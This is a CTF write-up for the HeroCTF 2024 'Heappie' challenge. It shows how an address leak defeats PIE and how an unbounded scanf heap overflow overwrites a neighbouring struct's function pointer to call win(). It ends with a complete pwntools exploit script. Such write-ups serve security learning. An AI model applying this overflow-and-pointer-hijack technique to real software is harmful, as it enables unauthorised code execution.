Table of contents



Note

Writeup for the second pwn challenge from HeroCTF 2024.

Description

Heappie is a simple application that allows you to save and play your favorite songs. Find a way to exploit it and read the flag.

File information

We are given the binary and the source code, which is written in C.

checksec heappie; file heappie

[*] '/home/conflict/ctfs/heroctf2024/pwn/heappie/heappie'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
heappie: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b1454a58ded17f3fd2fef3a2d6a30f5cd2f104cd, for GNU/Linux 3.2.0, with debug_info, not stripped

Reading the source code, we see that we have four options:

  1. Add Music
  2. Play Music
  3. Delete Music
  4. Show Playlist

Additionally, we have a Music struct that holds a play function, a title, an artist, and a description.

When creating a music entry, if we add sound, a random function is chosen to be the music’s play() function:

void play_1(Music* music) {
    printf("Playing music 1: %s by %s\n", music->title, music->artist);
}

void play_2(Music* music) {
    printf("Playing music 2: %s by %s\n", music->title, music->artist);
}

void play_3(Music* music) {
    printf("Playing music 3: %s by %s\n", music->title, music->artist);
}

void* choose_random_play() {
    int choice = rand() % 3;
    switch(choice) {
        case 0:
            return (void*)play_1;
        case 1:
            return (void*)play_2;
        case 2:
            return (void*)play_3;
    }
    return NULL;
}
[...]
if (add_music == 'y') {
        music->play = choose_random_play();
[...]

The show_playlist() function displays the address to which music->play() points:

printf("\t%d. %s by %s (song: %p)\n", i + 1, music->title, music->artist, music->play);

And most importantly, there is a win() function!

Looking for a vulnerability

Our goal is to call the win() function, but as indicated in the checksec output, PIE is enabled. This means our first step will be to figure out the ELF’s base address.

To do so, we can calculate it from the address shown by the show_playlist() function. We can determine which play_?() function was used by playing the music (option 2) and retrieving the number from the output.

Once we know win()’s address, the next step is to find a way to execute it.

When creating a music entry, this block of code is executed:

printf("Enter music title: ");
    scanf("%31s", music->title);
    printf("Enter music artist: ");
    scanf("%31s", music->artist);
    printf("Enter music description: ");
    scanf("%s", music->description);

The last scanf call is vulnerable to an overflow because it does not check the size of the input.

Since music blocks are next to each other, overflowing the description of a music entry will overwrite the next music’s pointer to play(), followed by its title, then its artist….

We have to be careful not to add sound to the next music entry so that the pointer to play() is not overwritten by the program.

Exploit Plan (TLDR)

  • Make a music entry with sound.
  • Show the playlist: get the music->play() address.
  • Play the music: determine which play_?() function corresponds to it.
  • Delete the music entry.
  • Create a music entry with the payload in the description: overflow the next music’s play() pointer with win().
  • Create a music entry without sound.
  • Listen to the music: call win().

Solve Script

#!/usr/bin/python3

from pwn import *

context.update(arch='x86_64')
context.binary = elf = ELF("./heappie", checksec=False)
libc = elf.libc

def start():
    if args.REMOTE:
        r = remote("pwn.heroctf.fr", 6000)
    else:
        r = process("./heappie")
        gdb.attach(r)
    return r

io = start()

# =============================================================================

# =-=-=- Un jour je serai le meilleur pwner -=-=-=


# =============================================================================

play_offsets = [elf.sym["play_1"], elf.sym["play_2"], elf.sym["play_3"]]

def make_music(sound, title, artist, desc):
    io.sendlineafter(b'>> ', b'1')
    io.sendlineafter(b'(y/n): ', sound)
    io.sendlineafter(b'title: ', title)
    io.sendlineafter(b'artist: ', artist)
    io.sendlineafter(b'description: ', desc)

make_music(b'y', b'a', b'a', b'a')

# read playlist to get play_? address
io.sendlineafter(b'>>', b'4')

# ignore garbage
io.recvuntil(b'song: ')

play_address = int(io.recvuntil(b'\n').split(b')')[0], 16)

# read music
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'index: ', b'0')

# ignore garbage
io.recvuntil(b'music ')

# get which play function was used
play_number = int(io.recvuntil(b'a').split(b':')[0])

log.info("play " + str(play_number) + " @ " + hex(play_address))

play_offset = play_offsets[play_number-1]

# calculate the elf's base address from it
elf.address = play_address - play_offset

log.success("resolved elf @ " + hex(elf.address))

win_address = elf.sym["win"]

log.info("win @ " + hex(win_address))

# delete the first music
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'index: ', b'0')

# main payload
make_music(b'y', b'rami', b'malek', b'A'*128+p64(win_address))
make_music(b'n', b'pwned', b'conflict', b'lol')

# call win()
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'index: ', b'1')

log.success((b"FLAG -> " + io.recvuntil(b'}').split()[1]).decode('utf-8'))

Conclusion

I really enjoyed this challenge as a beginner in heap exploitation.

back to top